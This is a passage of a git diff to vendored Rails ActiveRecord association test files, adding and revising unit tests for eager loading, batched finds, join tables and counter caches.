+      Account.find(@account.id, :include => :firm).save!
+    end
+
+    @account.firm.delete
+
+    assert_nothing_raised do
+      Account.find(@account.id).save!
+      Account.find(@account.id, :include => :firm).save!
+    end
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/vendor/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index 8c9ae8a0..45e74ea0 100644
--- a/vendor/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -104,6 +104,14 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
       authors.first.posts.first.special_comments.first.post.very_special_comment
     end
   end
+  
+  def test_eager_association_loading_where_first_level_returns_nil
+    authors = Author.find(:all, :include => {:post_about_thinking => :comments}, :order => 'authors.id DESC')
+    assert_equal [authors(:mary), authors(:david)], authors
+    assert_no_queries do
+      authors[1].post_about_thinking.comments.first
+    end
+  end
 end
 
 require 'models/vertex'
diff --git a/vendor/rails/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/vendor/rails/activerecord/test/cases/associations/eager_load_nested_include_test.rb
index 12dec5cc..677226ec 100644
--- a/vendor/rails/activerecord/test/cases/associations/eager_load_nested_include_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -1,4 +1,9 @@
 require 'cases/helper'
+require 'models/post'
+require 'models/author'
+require 'models/comment'
+require 'models/category'
+require 'models/categorization'
 
 module Remembered
   def self.included(base)
@@ -61,13 +66,13 @@ class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
   def setup
     generate_test_object_graphs
   end
-  
+
   def teardown
-    [Circle, Square, Triangle, PaintColor, PaintTexture, 
+    [Circle, Square, Triangle, PaintColor, PaintTexture,
      ShapeExpression, NonPolyOne, NonPolyTwo].each do |c|
       c.delete_all
     end
-    
+
   end
 
 
@@ -99,3 +104,27 @@ class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
     end
   end
 end
+
+class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
+  def setup
+    @davey_mcdave = Author.create(:name => 'Davey McDave')
+    @first_post = @davey_mcdave.posts.create(:title => 'Davey Speaks', :body => 'Expressive wordage')
+    @first_comment = @first_post.comments.create(:body => 'Inflamatory doublespeak')
+    @first_categorization = @davey_mcdave.categorizations.create(:category => Category.first, :post => @first_post)
+  end
+
+  def teardown
+    @davey_mcdave.destroy
+    @first_post.destroy
+    @first_comment.destroy
+    @first_categorization.destroy
+  end
+
+  def test_missing_data_in_a_nested_include_should_not_cause_errors_when_constructing_objects
+    assert_nothing_raised do
+      # @davey_mcdave doesn't have any author_favorites
+      includes = {:posts => :comments, :categorizations => :category, :author_favorites => :favorite_author }
+      Author.all :include => includes, :conditions => {:authors => {:name => @davey_mcdave.name}}, :order => 'categories.name'
+    end
+  end
+end
diff --git a/vendor/rails/activerecord/test/cases/associations/eager_test.rb b/vendor/rails/activerecord/test/cases/associations/eager_test.rb
index a4f1f65f..d23f86b7 100644
--- a/vendor/rails/activerecord/test/cases/associations/eager_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/eager_test.rb
@@ -1,6 +1,7 @@
 require "cases/helper"
 require 'models/post'
 require 'models/tagging'
+require 'models/tag'
 require 'models/comment'
 require 'models/author'
 require 'models/category'
@@ -145,7 +146,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_finding_with_includes_on_null_belongs_to_association_with_same_include_includes_only_once
     post = posts(:welcome)
     post.update_attributes!(:author => nil)
-    post = assert_queries(2) { Post.find(post.id, :include => {:author_with_address => :author_address}) } # find the post, then find the author which is null so no query for the address
+    post = assert_queries(1) { Post.find(post.id, :include => {:author_with_address => :author_address}) } # find the post, then find the author which is null so no query for the author or address
     assert_no_queries do
       assert_equal nil, post.author_with_address
     end
@@ -222,6 +223,18 @@ class EagerAssociationTest < ActiveRecord::TestCase
     end
   end
 
+  def test_eager_association_loading_with_belongs_to_and_conditions_hash
+    comments = []
+    assert_nothing_raised do
+      comments = Comment.find(:all, :include => :post, :conditions => {:posts => {:id => 4}}, :limit => 3, :order => 'comments.id')
+    end
+    assert_equal 3, comments.length
+    assert_equal [5,6,7], comments.collect { |c| c.id }
+    assert_no_queries do
+      comments.first.post
+    end
+  end
+
   def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
     quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
     assert_nothing_raised do
@@ -385,12 +398,28 @@ class EagerAssociationTest < ActiveRecord::TestCase
     assert_equal count, posts.size
   end
 
-  def test_eager_with_has_many_and_limit_ond_high_offset
+  def test_eager_with_has_many_and_limit_and_high_offset
     posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10, :conditions => [ "authors.name = ?", 'David' ])
     assert_equal 0, posts.size
   end
 
-  def test_count_eager_with_has_many_and_limit_ond_high_offset
+  def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_array_conditions
+    assert_queries(1) do
+      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10,
+        :conditions => [ "authors.name = ? and comments.body = ?", 'David', 'go crazy' ])
+      assert_equal 0, posts.size
+    end
+  end
+
+  def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_hash_conditions
+    assert_queries(1) do
+      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10,
+        :conditions => { 'authors.name' => 'David', 'comments.body' => 'go crazy' })
+      assert_equal 0, posts.size
+    end
+  end
+
+  def test_count_eager_with_has_many_and_limit_and_high_offset
     posts = Post.count(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10, :conditions => [ "authors.name = ?", 'David' ])
     assert_equal 0, posts
   end
@@ -532,16 +561,16 @@ class EagerAssociationTest < ActiveRecord::TestCase
   end
 
   def test_eager_with_invalid_association_reference
-    assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       post = Post.find(6, :include=> :monkeys )
     }
-    assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       post = Post.find(6, :include=>[ :monkeys ])
     }
-    assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
       post = Post.find(6, :include=>[ 'monkeys' ])
     }
-    assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
+    assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
       post = Post.find(6, :include=>[ :monkeys, :elephants ])
     }
   end
@@ -689,4 +718,117 @@ class EagerAssociationTest < ActiveRecord::TestCase
   def test_order_on_join_table_with_include_and_limit
     assert_equal 5, Developer.find(:all, :include => 'projects', :order => 'developers_projects.joined_on DESC', :limit => 5).size
   end
+
+  def test_eager_loading_with_order_on_joined_table_preloads
+    posts = assert_queries(2) do
+      Post.find(:all, :joins => :comments, :include => :author, :order => 'comments.id DESC')
+    end
+    assert_equal posts(:eager_other), posts[0]
+    assert_equal authors(:mary), assert_no_queries { posts[0].author}
+  end
+
+  def test_eager_loading_with_conditions_on_joined_table_preloads
+    posts = assert_queries(2) do
+      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => [:comments], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
+    end
+    assert_equal [posts(:welcome)], posts
+    assert_equal authors(:david), assert_no_queries { posts[0].author}
+
+    posts = assert_queries(2) do
+      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => [:comments], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
+    end
+    assert_equal [posts(:welcome)], posts
+    assert_equal authors(:david), assert_no_queries { posts[0].author}
+
+    posts = assert_queries(2) do
+      Post.find(:all, :include => :author, :joins => {:taggings => :tag}, :conditions => "tags.name = 'General'", :order => 'posts.id')
+    end
+    assert_equal posts(:welcome, :thinking), posts
+
+    posts = assert_queries(2) do
+      Post.find(:all, :include => :author, :joins => {:taggings => {:tag => :taggings}}, :conditions => "taggings_tags.super_tag_id=2", :order => 'posts.id')
+    end
+    assert_equal posts(:welcome, :thinking), posts
+
+  end
+
+  def test_eager_loading_with_conditions_on_string_joined_table_preloads
+    posts = assert_queries(2) do
+      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => "INNER JOIN comments on comments.post_id = posts.id", :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
+    end
+    assert_equal [posts(:welcome)], posts
+    assert_equal authors(:david), assert_no_queries { posts[0].author}
+
+    posts = assert_queries(2) do
+      Post.find(:all, :select => 'distinct posts.*', :include => :author, :joins => ["INNER JOIN comments on comments.post_id = posts.id"], :conditions => "comments.body like 'Thank you%'", :order => 'posts.id')
+    end
+    assert_equal [posts(:welcome)], posts
+    assert_equal authors(:david), assert_no_queries { posts[0].author}
+
+  end
+
+  def test_eager_loading_with_select_on_joined_table_preloads
+    posts = assert_queries(2) do
+      Post.find(:all, :select => 'posts.*, authors.name as author_name', :include => :comments, :joins => :author, :order => 'posts.id')
+    end
+    assert_equal 'David', posts[0].author_name
+    assert_equal posts(:welcome).comments, assert_no_queries { posts[0].comments}
+  end
+
+  def test_eager_loading_with_conditions_on_join_model_preloads
+    authors = assert_queries(2) do
+      Author.find(:all, :include => :author_address, :joins => :comments, :conditions => "posts.title like 'Welcome%'")
+    end
+    assert_equal authors(:david), authors[0]
+    assert_equal author_addresses(:david_address), authors[0].author_address
+  end
+
+  def test_preload_belongs_to_uses_exclusive_scope
+    people = Person.males.find(:all, :include => :primary_contact)
+    assert_not_equal people.length, 0
+    people.each do |person|
+      assert_no_queries {assert_not_nil person.primary_contact}
+      assert_equal Person.find(person.id).primary_contact, person.primary_contact
+    end
+  end
+
+  def test_preload_has_many_uses_exclusive_scope
+    people = Person.males.find :all, :include => :agents
+    people.each do |person|
+      assert_equal Person.find(person.id).agents, person.agents
+    end
+  end
+
+  def test_preload_has_many_using_primary_key
+    expected = Firm.find(:first).clients_using_primary_key.to_a
+    firm = Firm.find :first, :include => :clients_using_primary_key
+    assert_no_queries do
+      assert_equal expected, firm.clients_using_primary_key
+    end
+  end
+
+  def test_include_has_many_using_primary_key
+    expected = Firm.find(1).clients_using_primary_key.sort_by &:name
+    firm = Firm.find 1, :include => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies.name'
+    assert_no_queries do
+      assert_equal expected, firm.clients_using_primary_key
+    end
+  end
+  
+  def test_preload_has_one_using_primary_key
+    expected = Firm.find(:first).account_using_primary_key
+    firm = Firm.find :first, :include => :account_using_primary_key
+    assert_no_queries do
+      assert_equal expected, firm.account_using_primary_key
+    end
+  end
+
+  def test_include_has_one_using_primary_key
+    expected = Firm.find(1).account_using_primary_key
+    firm = Firm.find(:all, :include => :account_using_primary_key, :order => 'accounts.id').detect {|f| f.id == 1}
+    assert_no_queries do
+      assert_equal expected, firm.account_using_primary_key
+    end
+  end
+  
 end
diff --git a/vendor/rails/activerecord/test/cases/associations/habtm_join_table_test.rb b/vendor/rails/activerecord/test/cases/associations/habtm_join_table_test.rb
new file mode 100644
index 00000000..bf3e04c3
--- /dev/null
+++ b/vendor/rails/activerecord/test/cases/associations/habtm_join_table_test.rb
@@ -0,0 +1,56 @@
+require 'cases/helper'
+
+class MyReader < ActiveRecord::Base
+  has_and_belongs_to_many :my_books
+end
+
+class MyBook < ActiveRecord::Base
+  has_and_belongs_to_many :my_readers
+end
+
+class HabtmJoinTableTest < ActiveRecord::TestCase
+  def setup
+    ActiveRecord::Base.connection.create_table :my_books, :force => true do |t|
+      t.string :name
+    end
+    assert ActiveRecord::Base.connection.table_exists?(:my_books)
+
+    ActiveRecord::Base.connection.create_table :my_readers, :force => true do |t|
+      t.string :name
+    end
+    assert ActiveRecord::Base.connection.table_exists?(:my_readers)
+
+    ActiveRecord::Base.connection.create_table :my_books_my_readers, :force => true do |t|
+      t.integer :my_book_id
+      t.integer :my_reader_id
+    end
+    assert ActiveRecord::Base.connection.table_exists?(:my_books_my_readers)
+  end
+
+  def teardown
+    ActiveRecord::Base.connection.drop_table :my_books
+    ActiveRecord::Base.connection.drop_table :my_readers
+    ActiveRecord::Base.connection.drop_table :my_books_my_readers
+  end
+
+  uses_transaction :test_should_raise_exception_when_join_table_has_a_primary_key
+  def test_should_raise_exception_when_join_table_has_a_primary_key
+    if ActiveRecord::Base.connection.supports_primary_key?
+      assert_raise ActiveRecord::ConfigurationError do
+        jaime = MyReader.create(:name=>"Jaime")
+        jaime.my_books << MyBook.create(:name=>'Great Expectations')
+      end
+    end
+  end
+
+  uses_transaction :test_should_cache_result_of_primary_key_check
+  def test_should_cache_result_of_primary_key_check
+    if ActiveRecord::Base.connection.supports_primary_key?
+      ActiveRecord::Base.connection.stubs(:primary_key).with('my_books_my_readers').returns(false).once
+      weaz = MyReader.create(:name=>'Weaz')
+
+      weaz.my_books << MyBook.create(:name=>'Great Expectations')
+      weaz.my_books << MyBook.create(:name=>'Greater Expectations')
+    end
+  end
+end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index b5bedf37..5e8b2cad 100644
--- a/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -381,6 +381,33 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_date_from_db Date.new(2004, 10, 10), Developer.find(1).projects.first.joined_on.to_date
   end
 
+  def test_destroying
+    david = Developer.find(1)
+    active_record = Project.find(1)
+    david.projects.reload
+    assert_equal 2, david.projects.size
+    assert_equal 3, active_record.developers.size
+
+    assert_difference "Project.count", -1 do
+      david.projects.destroy(active_record)
+    end
+
+    assert_equal 1, david.reload.projects.size
+    assert_equal 1, david.projects(true).size
+  end
+
+  def test_destroying_array
+    david = Developer.find(1)
+    david.projects.reload
+
+    assert_difference "Project.count", -Project.count do
+      david.projects.destroy(Project.find(:all))
+    end
+
+    assert_equal 0, david.reload.projects.size
+    assert_equal 0, david.projects(true).size
+  end
+
   def test_destroy_all
     david = Developer.find(1)
     david.projects.reload
@@ -616,7 +643,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
   def test_updating_attributes_on_rich_associations
     david = projects(:action_controller).developers.first
     david.name = "DHH"
-    assert_raises(ActiveRecord::ReadOnlyRecord) { david.save! }
+    assert_raise(ActiveRecord::ReadOnlyRecord) { david.save! }
   end
 
   def test_updating_attributes_on_rich_associations_with_limited_find_from_reflection
@@ -658,6 +685,11 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, categories(:technology).posts_gruoped_by_title.size
   end
 
+  def test_find_scoped_grouped_having
+    assert_equal 2, projects(:active_record).well_payed_salary_groups.size
+    assert projects(:active_record).well_payed_salary_groups.all? { |g| g.salary > 10000 }
+  end
+
   def test_get_ids
     assert_equal projects(:active_record, :action_controller).map(&:id).sort, developers(:david).project_ids.sort
     assert_equal [projects(:active_record).id], developers(:jamis).project_ids
@@ -735,6 +767,14 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal developer, project.developers.find(:first)
     assert_equal project, developer.projects.find(:first)
   end
+  
+  def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
+    assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
+      Member.class_eval do
+        has_and_belongs_to_many :friends, :class_name => "Member", :join_table => "member_friends"
+      end
+    }
+  end
 
   def test_dynamic_find_should_respect_association_include
     # SQL error in sort clause if :include is not included
@@ -762,12 +802,21 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, developer.projects.count
   end
 
-  uses_mocha 'mocking Post.transaction' do
-    def test_association_proxy_transaction_method_starts_transaction_in_association_class
-      Post.expects(:transaction)
-      Category.find(:first).posts.transaction do
-        # nothing
-      end
+  def test_association_proxy_transaction_method_starts_transaction_in_association_class
+    Post.expects(:transaction)
+    Category.find(:first).posts.transaction do
+      # nothing
     end
   end
+
+  def test_caching_of_columns
+    david = Developer.find(1)
+    # clear cache possibly created by other tests
+    david.projects.reset_column_information
+    assert_queries(0) { david.projects.columns; david.projects.columns }
+    # and again to verify that reset_column_information clears the cache correctly
+    david.projects.reset_column_information
+    assert_queries(0) { david.projects.columns; david.projects.columns }
+  end
+
 end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb
index 59784e1b..eee80b2e 100644
--- a/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -10,11 +10,12 @@ require 'models/author'
 require 'models/comment'
 require 'models/person'
 require 'models/reader'
+require 'models/tagging'
 
 class HasManyAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :categories, :companies, :developers, :projects,
            :developers_projects, :topics, :authors, :comments, :author_addresses,
-           :people, :posts, :readers
+           :people, :posts, :readers, :taggings
 
   def setup
     Client.destroyed_client_ids.clear
@@ -70,6 +71,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 2, companies(:first_firm).limited_clients.find(:all, :limit => nil).size
   end
 
+  def test_dynamic_find_last_without_specified_order
+    assert_equal companies(:second_client), companies(:first_firm).unsorted_clients.find_last_by_type('Client')
+  end
+
   def test_dynamic_find_should_respect_association_order
     assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find(:first, :conditions => "type = 'Client'")
     assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
@@ -176,7 +181,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_find_ids
     firm = Firm.find(:first)
 
-    assert_raises(ActiveRecord::RecordNotFound) { firm.clients.find }
+    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find }
 
     client = firm.clients.find(2)
     assert_kind_of Client, client
@@ -190,7 +195,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 2, client_ary.size
     assert_equal client, client_ary.first
 
-    assert_raises(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
+    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
   end
 
   def test_find_string_ids_when_using_finder_sql
@@ -215,6 +220,45 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, firm.clients.find(:all, :conditions => "name = 'Summit'").length
   end
 
+  def test_find_each
+    firm = companies(:first_firm)
+
+    assert ! firm.clients.loaded?
+
+    assert_queries(3) do
+      firm.clients.find_each(:batch_size => 1) {|c| assert_equal firm.id, c.firm_id }
+    end
+
+    assert ! firm.clients.loaded?
+  end
+
+  def test_find_each_with_conditions
+    firm = companies(:first_firm)
+
+    assert_queries(2) do
+      firm.clients.find_each(:batch_size => 1, :conditions => {:name => "Microsoft"}) do |c|
+        assert_equal firm.id, c.firm_id
+        assert_equal "Microsoft", c.name
+      end
+    end
+
+    assert ! firm.clients.loaded?
+  end
+
+  def test_find_in_batches
+    firm = companies(:first_firm)
+
+    assert ! firm.clients.loaded?
+
+    assert_queries(2) do
+      firm.clients.find_in_batches(:batch_size => 2) do |clients|
+        clients.each {|c| assert_equal firm.id, c.firm_id }
+      end
+    end
+
+    assert ! firm.clients.loaded?
+  end
+
   def test_find_all_sanitized
     firm = Firm.find(:first)
     summit = firm.clients.find(:all, :conditions => "name = 'Summit'")
@@ -236,9 +280,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal client2, firm.clients.find(:first, :conditions => ["#{QUOTED_TYPE} = :type", { :type => 'Client' }])
   end
 
+  def test_find_all_with_include_and_conditions
+    assert_nothing_raised do
+      Developer.find(:all, :joins => :audit_logs, :conditions => {'audit_logs.message' => nil, :name => 'Smith'})
+    end
+  end
+
   def test_find_in_collection
     assert_equal Client.find(2).name, companies(:first_firm).clients.find(2).name
-    assert_raises(ActiveRecord::RecordNotFound) { companies(:first_firm).clients.find(6) }
+    assert_raise(ActiveRecord::RecordNotFound) { companies(:first_firm).clients.find(6) }
   end
 
   def test_find_grouped
@@ -255,6 +305,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 2, companies(:first_firm).clients_grouped_by_name.length
   end
 
+  def test_find_scoped_grouped_having
+    assert_equal 1, authors(:david).popular_grouped_posts.length
+    assert_equal 0, authors(:mary).popular_grouped_posts.length
+  end
+
   def test_adding
     force_signal37_to_load_all_clients_of_firm
     natural = Client.new("name" => "Natural Company")
@@ -273,36 +328,36 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_create_with_bang_on_has_many_when_parent_is_new_raises
-    assert_raises(ActiveRecord::RecordNotSaved) do
+    assert_raise(ActiveRecord::RecordNotSaved) do
       firm = Firm.new
       firm.plain_clients.create! :name=>"Whoever"
     end
   end
 
   def test_regular_create_on_has_many_when_parent_is_new_raises
-    assert_raises(ActiveRecord::RecordNotSaved) do
+    assert_raise(ActiveRecord::RecordNotSaved) do
       firm = Firm.new
       firm.plain_clients.create :name=>"Whoever"
     end
   end
 
   def test_create_with_bang_on_has_many_raises_when_record_not_saved
-    assert_raises(ActiveRecord::RecordInvalid) do
+    assert_raise(ActiveRecord::RecordInvalid) do
       firm = Firm.find(:first)
       firm.plain_clients.create!
     end
   end
 
   def test_create_with_bang_on_habtm_when_parent_is_new_raises
-    assert_raises(ActiveRecord::RecordNotSaved) do
+    assert_raise(ActiveRecord::RecordNotSaved) do
       Developer.new("name" => "Aredridel").projects.create!
     end
   end
 
   def test_adding_a_mismatch_class
-    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }
-    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }
-    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }
   end
 
   def test_adding_a_collection
@@ -312,81 +367,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 3, companies(:first_firm).clients_of_firm(true).size
   end
 
-  def test_adding_before_save
-    no_of_firms = Firm.count
-    no_of_clients = Client.count
-
-    new_firm = Firm.new("name" => "A New Firm, Inc")
-    c = Client.new("name" => "Apple")
-
-    new_firm.clients_of_firm.push Client.new("name" => "Natural Company")
-    assert_equal 1, new_firm.clients_of_firm.size
-    new_firm.clients_of_firm << c
-    assert_equal 2, new_firm.clients_of_firm.size
-
-    assert_equal no_of_firms, Firm.count      # Firm was not saved to database.
-    assert_equal no_of_clients, Client.count  # Clients were not saved to database.
-    assert new_firm.save
-    assert !new_firm.new_record?
-    assert !c.new_record?
-    assert_equal new_firm, c.firm
-    assert_equal no_of_firms+1, Firm.count      # Firm was saved to database.
-    assert_equal no_of_clients+2, Client.count  # Clients were saved to database.
-
-    assert_equal 2, new_firm.clients_of_firm.size
-    assert_equal 2, new_firm.clients_of_firm(true).size
-  end
-
-  def test_invalid_adding
-    firm = Firm.find(1)
-    assert !(firm.clients_of_firm << c = Client.new)
-    assert c.new_record?
-    assert !firm.valid?
-    assert !firm.save
-    assert c.new_record?
-  end
-
-  def test_invalid_adding_before_save
-    no_of_firms = Firm.count
-    no_of_clients = Client.count
-    new_firm = Firm.new("name" => "A New Firm, Inc")
-    new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
-    assert c.new_record?
-    assert !c.valid?
-    assert !new_firm.valid?
-    assert !new_firm.save
-    assert c.new_record?
-    assert new_firm.new_record?
-  end
-
-  def test_invalid_adding_with_validate_false
-    firm = Firm.find(:first)
-    client = Client.new
-    firm.unvalidated_clients_of_firm << client
-
-    assert firm.valid?
-    assert !client.valid?
-    assert firm.save
-    assert client.new_record?
-  end
-
-  def test_valid_adding_with_validate_false
-    no_of_clients = Client.count
-
-    firm = Firm.find(:first)
-    client = Client.new("name" => "Apple")
-
-    assert firm.valid?
-    assert client.valid?
-    assert client.new_record?
-
-    firm.unvalidated_clients_of_firm << client
-
-    assert firm.save
-    assert !client.new_record?
-    assert_equal no_of_clients+1, Client.count
-  end
-
   def test_build
     company = companies(:first_firm)
     new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
@@ -395,10 +375,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal "Another Client", new_client.name
     assert new_client.new_record?
     assert_equal new_client, company.clients_of_firm.last
-    company.name += '-changed'
-    assert_queries(2) { assert company.save }
-    assert !new_client.new_record?
-    assert_equal 2, company.clients_of_firm(true).size
   end
 
   def test_collection_size_after_building
@@ -423,11 +399,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_build_many
     company = companies(:first_firm)
     new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
-
     assert_equal 2, new_clients.size
-    company.name += '-changed'
-    assert_queries(3) { assert company.save }
-    assert_equal 3, company.clients_of_firm(true).size
   end
 
   def test_build_followed_by_save_does_not_load_target
@@ -458,10 +430,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal "Another Client", new_client.name
     assert new_client.new_record?
     assert_equal new_client, company.clients_of_firm.last
-    company.name += '-changed'
-    assert_queries(2) { assert company.save }
-    assert !new_client.new_record?
-    assert_equal 2, company.clients_of_firm(true).size
   end
 
   def test_build_many_via_block
@@ -475,10 +443,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 2, new_clients.size
     assert_equal "changed", new_clients.first.name
     assert_equal "changed", new_clients.last.name
-
-    company.name += '-changed'
-    assert_queries(3) { assert company.save }
-    assert_equal 3, company.clients_of_firm(true).size
   end
 
   def test_create_without_loading_association
@@ -496,16 +460,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 2, first_firm.clients_of_firm.size
   end
 
-  def test_invalid_build
-    new_client = companies(:first_firm).clients_of_firm.build
-    assert new_client.new_record?
-    assert !new_client.valid?
-    assert_equal new_client, companies(:first_firm).clients_of_firm.last
-    assert !companies(:first_firm).save
-    assert new_client.new_record?
-    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
-  end
-
   def test_create
     force_signal37_to_load_all_clients_of_firm
     new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
@@ -555,6 +509,23 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 0, new_firm.clients_of_firm.size
   end
 
+  def test_deleting_updates_counter_cache
+    topic = Topic.first
+    assert_equal topic.replies.to_a.size, topic.replies_count
+
+    topic.replies.delete(topic.replies.first)
+    topic.reload
+    assert_equal topic.replies.to_a.size, topic.replies_count
+  end
+
+  def test_deleting_updates_counter_cache_without_dependent_destroy
+    post = posts(:welcome)
+
+    assert_difference "post.reload.taggings_count", -1 do
+      post.taggings.delete(post.taggings.first)
+    end
+  end
+
   def test_deleting_a_collection
     force_signal37_to_load_all_clients_of_firm
     companies(:first_firm).clients_of_firm.create("name" => "Another Client")
@@ -600,6 +571,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_clearing_updates_counter_cache
+    topic = Topic.first
+
+    topic.replies.clear
+    topic.reload
+    assert_equal 0, topic.replies_count
+  end
+
   def test_clearing_a_dependent_association_collection
     firm = companies(:first_firm)
     client_id = firm.dependent_clients_of_firm.first.id
@@ -660,6 +639,31 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert_equal 1, Client.find_all_by_client_of(firm.id).size
   end
 
+  def test_dependent_association_respects_optional_hash_conditions_on_delete
+    firm = companies(:odegy)
+    Client.create(:client_of => firm.id, :name => "BigShot Inc.")
+    Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
+    # only one of two clients is included in the association due to the :conditions key
+    assert_equal 2, Client.find_all_by_client_of(firm.id).size
+    assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
+    firm.destroy
+    # only the correctly associated client should have been deleted
+    assert_equal 1, Client.find_all_by_client_of(firm.id).size
+  end
+
+  def test_delete_all_association_with_primary_key_deletes_correct_records
+    firm = Firm.find(:first)
+    # break the vanilla firm_id foreign key
+    assert_equal 2, firm.clients.count
+    firm.clients.first.update_attribute(:firm_id, nil)
+    assert_equal 1, firm.clients(true).count
+    assert_equal 1, firm.clients_using_primary_key_with_delete_all.count
+    old_record = firm.clients_using_primary_key_with_delete_all.first
+    firm = Firm.find(:first)
+    firm.destroy
+    assert Client.find_by_id(old_record.id).nil?
+  end
+
   def test_creation_respects_hash_condition
     ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.build
 
@@ -680,11 +684,12 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
       authors(:david).destroy
     end
 
-    assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids[authors(:david).id]
